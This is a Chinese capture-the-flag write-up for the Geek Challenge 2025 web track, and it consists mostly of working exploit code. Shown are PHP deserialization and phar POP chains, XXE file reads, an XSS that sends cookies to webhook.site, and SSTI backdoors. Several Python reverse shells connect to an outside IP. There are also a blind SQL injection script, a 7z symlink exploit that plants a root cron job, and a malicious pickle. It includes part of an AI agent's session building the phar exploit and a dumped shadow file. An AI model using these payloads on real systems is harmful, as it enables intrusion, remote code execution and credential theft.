极客大挑战 2025 web Writeups

(2025-11-27T13:02:30.446Z)
Nick Chen

文章摘要

Summarizing...

image.png

popself

<?php
class All_in_one
{
    public $KiraKiraAyu;
    public $_4ak5ra;
    public $K4per;
    public $Samsāra;
    public $komiko;
    public $Fox;
    public $Eureka;
    public $QYQS;
    public $sleep3r;
    public $ivory;
    public $L;

    public function __set($name, $value)
    {
        echo "他还是没有忘记那个" . $value . "<br>";
        echo "收集夏日的碎片吧<br>";

        $fox = $this->Fox;

        if (!($fox instanceof All_in_one) && $fox() === "summer") {
            echo "QYQS enjoy summer<br>";
            echo "开启循环吧<br>";
            $komiko = $this->komiko;
            $komiko->Eureka($this->L, $this->sleep3r);
        }
    }

    public function __invoke()
    {
        echo "恭喜成功signin!<br>";
        echo "welcome to Geek_Challenge2025!<br>";
        $f = $this->Samsāra;
        $arg = $this->ivory;
        $f($arg);
    }
    public function __destruct()
    {

        echo "你能让K4per和KiraKiraAyu组成一队吗<br>";

        if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
            if (md5(md5($this->KiraKiraAyu)) === md5($this->K4per)) {
                die("boys和而不同<br>");
            }

            if (md5(md5($this->KiraKiraAyu)) == md5($this->K4per)) {
                echo "BOY♂ sign GEEK<br>";
                echo "开启循环吧<br>";
                $this->QYQS->partner = "summer";
            } else {
                $this->QYQS->partner = "summer";
                echo "BOY♂ can`t sign GEEK<br>";
                echo md5(md5($this->KiraKiraAyu)) . "<br>";
                echo md5($this->K4per) . "<br>";
            }
        } else {
            die("boys堂堂正正");
        }
    }

    public function __tostring()
    {
        echo "再走一步...<br>";
        $a = $this->_4ak5ra;
        $a();
    }

    public function __call($method, $args)
    {
        if (strlen($args[0]) < 4 && ($args[0] + 1) > 10000) {
            echo "再走一步<br>";
            echo $args[1];
        } else {
            echo "你要努力进窄门<br>";
        }
    }
}

class summer
{
    public static function find_myself()
    {
        return "summer";
    }
}

$obj1 = new All_in_one();
$obj1->KiraKiraAyu = "0e1138100474"; // md5(md5("0e1138100474")) = 0e779212254407018184727546255414
$obj1->K4per = "0e215962017"; // md5("0e215962017") = 0e291242476940776845150308577824
$obj2 = new All_in_one();
$obj1->QYQS = $obj2;
// __set 中 $fox() 需要返回 "summer"
// 条件: !($fox instanceof All_in_one) && $fox() === "summer"
// 直接用数组调用静态方法
$obj2->Fox = array('summer', 'find_myself'); // 调用 summer::find_myself()
$obj4 = new All_in_one();
$obj2->komiko = $obj4;
// 使用科学计数法: "1e9" 长度3,值为1000000000
$obj2->L = "1e9";
$obj5 = new All_in_one();
$obj2->sleep3r = $obj5;
$obj5->_4ak5ra = new All_in_one();
$obj5->_4ak5ra->Samsāra = 'system';
$obj5->_4ak5ra->ivory = 'env'; // 读取 flag 文件
$payload = serialize($obj1);
echo urlencode($payload);

array('summer', 'find_myself')() 相当于 summer::find_myself()

Vibe SEO

https://www.cnblogs.com/ToTigerMountain/articles/17567885.html

爆破 /dev/fd/ 后面的数字就行

Image Viewer

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///flag" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

Xross The Finish Line

<svg/onload=fetch("[https://webhook.site/8d19a79c-ba6c-4035-a06c-44caa036c156&quot;,{body:document.cookie,cors:&quot;cors&quot;,method:&quot;POST&quot;}](https://webhook.site/8d19a79c-ba6c-4035-a06c-44caa036c156&quot;,%7Bbody:document.cookie,cors:&quot;cors&quot;,method:&quot;POST&quot;%7D))>

one_last_image

<?=$a='sys';$b='tem';$c=$a.$b;$c($_GET['_']);

ez_read

/proc/self/cmdline → app.py + /proc/self/environ | grep PATH?(忘了,慢慢看) 读路径,读源码

{{url_for['**glo''bals**']['**builtins**']['eval']("app.after_request_funcs.setdefault(None,[]).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=**im""port**(\'flask\').make_re""sponse(**impo""rt**(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for['**glo''bals**']['request'],'app':url_for['**glo''bals**']['sys'].modules['**main**'].**dict**['app']})}}**********************************************************************************

提权查:https://gtfobins.github.io/gtfobins/env/

http://019a5960-1530-7558-9352-000221a897a4.geek.ctfplus.cn/profile?cmd=echo "cat /flag"| env /bin/sh -p

Xross The Doom

https://aszx87410.github.io/beyond-xss/ch3/dom-clobbering/

eeeeezzzzzzip

源码泄露,扫出 /www.zip

ez_serialize

注意到可以打 phar 反序列化,AI 一把梭

https://www.freebuf.com/articles/web/305292.html

<?php
class A {
    public $file;
    public $luo;
}

class B {
    public $a;
    public $test;
}

class C {
    public $b;
}

// 1. Create instances of the classes
$c = new C();
$b = new B();
$a = new A();

// 2. Build the object chain
$c->b = "phpinfo"; // Placeholder, not used in the final chain for RCE
$b->a = $c; // When B is invoked, it will call C->rce_me()
$b->test = $a; // When B is unserialized, __wakeup triggers A->__toString()
$a->luo = $b; // A->__toString() will invoke B

// 3. Create a new Phar archive
@unlink("exploit.phar");
$phar = new Phar("exploit.phar");
$phar->startBuffering();

// 4. Set the Phar stub
// The stub is the part that runs when the phar is executed directly.
// For phar:// wrapper, it's not executed, but it's required.
$phar->setStub("<?php __HALT_COMPILER(); ?>");

// 5. Add a file to the archive (can be anything)
$phar->addFromString("test.txt", "test");

// 6. Set the metadata to our malicious object chain
// This is what gets unserialized when the phar's metadata is accessed.
$phar->setMetadata($b);

$phar->stopBuffering();

echo "exploit.phar created successfully.\n";

// Rename to a whitelisted extension for upload
rename('exploit.phar', 'exploit.gz');
echo "Renamed to exploit.gz for upload.\n";
?>

好的,这是一个典型的 PHP 反序列化漏洞结合 Phar 包装器的 CTF 挑战。我已经分析了 index.php、function.php 和 uploads.php 的代码。

我的计划如下:

  1. 构造 POP 链:利用 function.php 中定义的类 ABC 来构造一个属性导向编程(POP)链。目标是最终调用 C 类的 rce_me 方法,该方法会执行 system("cat /flag/flag.txt > /tmp/flag") 来获取 flag。
  2. 创建 Phar 文件:创建一个 PHP 脚本来生成一个恶意的 Phar 归档文件。这个文件的元数据(metadata)将包含我们精心构造的 POP 链对象。
  3. 上传 Phar 文件:利用 uploads.php 的文件上传功能,将生成的 Phar 文件上传到服务器。由于 phar 扩展名不在白名单中,我会将其重命名为允许的扩展名,例如 .gz
  4. 触发反序列化:访问 index.php,并使用 phar:// 包装器来指定我们上传的文件。当 file_get_contents 尝试读取 Phar 文件时,它会自动反序列化文件的元数据,从而触发我们的 POP 链。
  5. 读取 Flag:POP 链执行后,flag 会被写入 /tmp/flag 文件。最后,再次访问 index.php 来读取 /tmp/flag 的内容。

我已经创建了一个名为 exploit.php 的文件来生成恶意的 Phar 文件。现在,我将执行它。

Ran terminal command: php exploit.php

我已成功生成 exploit.gz 文件。

现在,请按照以下步骤操作:

  1. 访问挑战网站上的 uploads.php 页面: http://019a596e-4ec7-7de4-bda4-0000e9cbadfd.geek.ctfplus.cn/uploads.php

  2. 选择并上传您本地工作区中的 exploit.gz 文件。

  3. 上传成功后,页面可能会显示上传后的文件名,请记下该文件名(例如 1730898858_exploit.gz)。

  4. 然后,访问以下 URL,将 [UPLOADS_FILENAME] 替换为您刚刚记下的文件名: 这将触发 Phar 反序列化并执行 payload。

    <http://019a596e-4ec7-7de4-bda4-0000e9cbadfd.geek.ctfplus.cn/index.php?serialized=1&filename=phar://./uploads/[UPLOADS_FILENAME]>
    
  5. 最后,访问以下 URL 读取 flag:

    <http://019a596e-4ec7-7de4-bda4-0000e9cbadfd.geek.ctfplus.cn/index.php?filename=/tmp/flag>
    

pdf viewer

把 pdf 下下来 01editor 找到生成用的库,有 cve

root:*:19507:0:99999:7::: daemon:*:19507:0:99999:7::: bin:*:19507:0:99999:7::: sys:*:19507:0:99999:7:::
sync:*:19507:0:99999:7::: games:*:19507:0:99999:7::: man:*:19507:0:99999:7::: lp:*:19507:0:99999:7:::
mail:*:19507:0:99999:7::: news:*:19507:0:99999:7::: uucp:*:19507:0:99999:7::: proxy:*:19507:0:99999:7::: www-
data:*:19507:0:99999:7::: backup:*:19507:0:99999:7::: list:*:19507:0:99999:7::: irc:*:19507:0:99999:7:::
gnats:*:19507:0:99999:7::: nobody:*:19507:0:99999:7::: _apt:*:19507:0:99999:7::: systemd-
network:*:20398:0:99999:7::: systemd-resolve:*:20398:0:99999:7::: messagebus:*:20398:0:99999:7:::
avahi:*:20398:0:99999:7::: geoclue:*:20398:0:99999:7:::
dave:$1$SEKIaQZe$mpWroqFAsiIhRC/i3loON.:20398:0:99999:7:::
john:$1$2On/QORN$6hyMHbZB4zohuV6qvlAt0/:20398:0:99999:7:::
emma:$1$Jsu14ZWx$pIl5A9rEr8px17kpSDQXU0:20398:0:99999:7:::
WeakPassword_Admin:$1$wJOmQRtK$Lf3l/z0uT/EAsFm3vQkuf.:20398:0:99999:7:::

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-
data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting
System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network
Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:102:103:systemd
Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin messagebus:x:103:105::/nonexistent:/usr/sbin/nologin
avahi:x:104:107:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
geoclue:x:105:108::/var/lib/geoclue:/usr/sbin/nologin dave:x:1000:1000::/home/dave:/bin/bash
john:x:1001:1001::/home/john:/bin/bash emma:x:1002:1002::/home/emma:/bin/bash
WeakPassword_Admin:x:1003:1003::/home/WeakPassword_Admin:/bin/bash

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<body>

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/network/interfaces");
x.send();
</script>

</body></html>

image.png

Sequal No Uta

import requests

KEYWORD = "该用户存在且活跃"
MAX_LEN = 800
# TARGET = "(select(group_concat(name))from(sqlite_master)where(type='table'))"
# TARGET = "(select(sql)from(sqlite_master)where(name='users'))"
'''
CREATE TABLE users (
         id INTEGER PRIMARY KEY AUTOINCREMENT,
         username TEXT UNIQUE NOT NULL,
         password TEXT NOT NULL,
         is_active INTEGER NOT NULL DEFAULT 1,
         secret TEXT
)
'''
TARGET = "(select(group_concat(secret))from(users))"
# SYC{YourPoem-019a6672e7a679c998afa898e7558a5c}

total_call = 0

def construct_payload(payload):
    return f"-1'or({payload})--"

def request_payload(payload):
    global total_call
    total_call += 1
    # print(f"{total_call}::{construct_payload(payload)}")
    result = KEYWORD in requests.get(f"http://019a6672-e7ba-707b-973c-d14837261e76.geek.ctfplus.cn/check.php?name={construct_payload(payload)}").text
    return result

def fuzz_n(x,n):
    i = 31
    j = 127
    while i <= j:
        mid = (i + j) // 2
        if request_payload(f"substr({x},{str(n)},1)<'{chr(mid)}'"):
            j = mid - 1
        else:
            i = mid + 1
    if i == j + 1 and request_payload(f"substr({x},{str(n)},1)='{chr(j)}'"):
        return chr(j)
    else:
        return -1
def fuzz(ii):
    for i in range(ii, MAX_LEN + 1):
        c = fuzz_n(TARGET,i)
        if c == -1 or ord(c) <= 0:
            print(" ",end='')
            fuzz(i+1)
        print(c, end='', flush=True)
fuzz(1)
print(f"\nTotal call: {total_call}")
 

路在脚下&路在脚下_rev

非 rev 可以 mkdir static 然后写 static

{{url_for.__globals__.os.system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("101.201.208.77",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')}

ezjdbc

下面这个项目自带的 cc32 链子就行,curl 传参有点问题,打 curl [xxx.sh](http://xxx.sh) -o xxx.sh&&chmod +x xxx.sh&&./xxx.sh

https://github.com/fnmsd/MySQL_Fake_Server.git

原理:https://su18.org/post/jdbc-connection-url-attack/#build-my-own-fake-server

77777_time_task

https://github.com/lunbun/CVE-2025-55188/

#!/bin/bash

#
# Writes to ../file.txt on extraction.
#
# Works on Linux only.
#

olddir="$(pwd)"

tempdir="$(mktemp -d)"
cd "$tempdir"

mkdir -p c/d
ln -s /c c/d/link
7z a 1.7z c/d/link -snl

ln -s c/d/link/../../tmp/ link
7z a 1.7z link -snl
rm link

mkdir link
echo -e "#\!/bin/sh\nmkdir /app/static\ncat /flag>/app/static/flag.txt" > link/a.sh
7z a 1.7z link/a.sh

cp 1.7z "$olddir"
cd "$olddir"
rm -r "$tempdir"
#!/bin/bash

#
# Writes to ../file.txt on extraction.
#
# Works on Linux only.
#

olddir="$(pwd)"

tempdir="$(mktemp -d)"
cd "$tempdir"

mkdir -p a/b
ln -s /a a/b/linker
7z a 2.7z a/b/linker -snl

ln -s a/b/linker/../../etc/cron.d/ linker
7z a 2.7z linker -snl
rm linker

mkdir linker
echo "*/2 *   * * *   root    chmod +x /tmp/a.sh&&/tmp/a.sh" > linker/task
7z a 2.7z linker/task

cp 2.7z "$olddir"
cd "$olddir"
rm -r "$tempdir"

AISCREAM

import requests
import threading
import time
import concurrent.futures

# Base URL
BASE_URL = 'http://019aab72-1981-7fa2-b146-6f4136791272.geek.ctfplus.cn'

# Create a session to maintain cookies
session = requests.Session()

def upload_file(file_path, description):
    with open(file_path, 'rb') as f:
        files = {'model_file': f}
        response = session.post(f'{BASE_URL}/model/upload', files=files)
    print(f'{description} upload response: {response.status_code}')
    return response

def predict(text):
    params = {'text': text}
    response = session.get(f'{BASE_URL}/model/predict', params=params)
    print(f'Predict response: {response.status_code} - {response.json()}')
    return response

# Step 1: Upload safe.pkl to set audit_ok to true

# Step 2: High concurrency attempts
def attempt_race(attempt_num):
    upload_file('tools/safe.pkl', 'Safe')
    print("Uploading safe.pkl...")
    print(f"Attempt {attempt_num}: Starting concurrent upload POC and predict")
    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_upload = executor.submit(upload_file, 'tools/poc.pkl', f'POC-{attempt_num}')
        future_predict = executor.submit(predict, 'test')
        upload_result = future_upload.result()
        predict_result = future_predict.result()
    return predict_result

# Try multiple times
num_attempts = 100
for i in range(1, num_attempts + 1):
    result = attempt_race(i)
    if result.status_code == 200:
        print(f"Success in attempt {i}!")
        break

print("All attempts completed.")
cbuiltins
exec
(S"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('101.201.208.77',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"
tR.
S'hello world'
.

百年继承

execute_method 就是那个 lambda 啥啥的,打原型链污染给他干掉

{
  "__class__":{
    "__base__":{
      "__base__":{
        "execute_method": "__import__('os').popen('mkdir -p static&&env>static/env.txt').read()"
      }
    }
  }
}

image.png

西纳普斯的许愿碑~~(已投降)~~

https://www.manhuazhan.org/chapter/254403-48563.html

from time import sleep
import requests as r

base_url = "http://019aae3d-fa04-7825-a4d2-d1027cd1395c.geek.ctfplus.cn"

def logger(fn):
  def wrapper(*args, **kwargs):
    print(f"[Excuting {fn.__name__}]", end=":::")
    return fn(*args, **kwargs)
  return wrapper

@logger
def trigger_all_wishes():
  s = r.get(base_url+'/api/wishes')
  print(s.text)
  print("[Result]:::" + s.json()["wishes"][-1])

@logger
def add_a_wish(wish):
  print(r.post(base_url+'/api/wishes', json={ "wish": wish }).text)

forbidden_wishes = {
    "__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
    "__globals__", "__code__", "__closure__", "__func__", "__self__",
    "__module__", "__import__", "__builtins__", "__base__"
}

while(True):
  pay = input('[Payload]:::')
  if(pay=='q'):
    break
  if(pay=='cls'):
    __import__('os').system('cls')
    continue
  bypass = "\",end='')\nlen=lambda x:0\nlist=lambda x:['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\n" + pay + "#"
  add_a_wish(''.join([ '\\x'+hex(ord(ch))[2:] if ch in "\"'|&`+-*/()[]{}_." else ch for ch in bypass]))
  trigger_all_wishes()
  sleep(0.05)

# PoC: def f():\n\tglobal x, frame\n\tframe = x.gi_frame.f_back.f_back\n\tyield\nx = f()\nx.send(None)\nprint(frame.f_globals["io"].open("/proc/self/environ").read())
# PoC2: def f():\n\tglobal x, frame\n\tframe = x.gi_frame.f_back.f_back\n\tyield\nx = f()\nx.send(None)\nprint(frame.f_globals["multiprocessing"].util.spawnv_passfds(b"/bin/sh", ["/bin/sh", "-c", "env>/app/static/env.txt"], []))
# PoC3: def f():\n\tglobal x, frame\n\tframe = x.gi_frame.f_back.f_back\n\tyield\nx = f()\nx.send(None)\nprint(frame.f_globals["multiprocessing"].util.spawnv_passfds(b"/bin/sh", ["/bin/sh", "-c", "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"101.201.208.77\",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"], []))

https://dummykitty.github.io/posts/pyjail-bypass-08-%E7%BB%95%E8%BF%87-AST-%E6%B2%99%E7%AE%B1/#%E7%BB%95%E8%BF%87-astgeneratorexp-%E8%8E%B7%E5%8F%96%E7%94%9F%E6%88%90%E5%99%A8%E6%A0%88%E5%B8%A7

被 web&misc 吓哭,然后下定决心按 web 题打,没想到真能绕。这下看懂了,misc 怕不是指的是 pyjail 罢(

评论

0 条
请先 登录 后发表评论。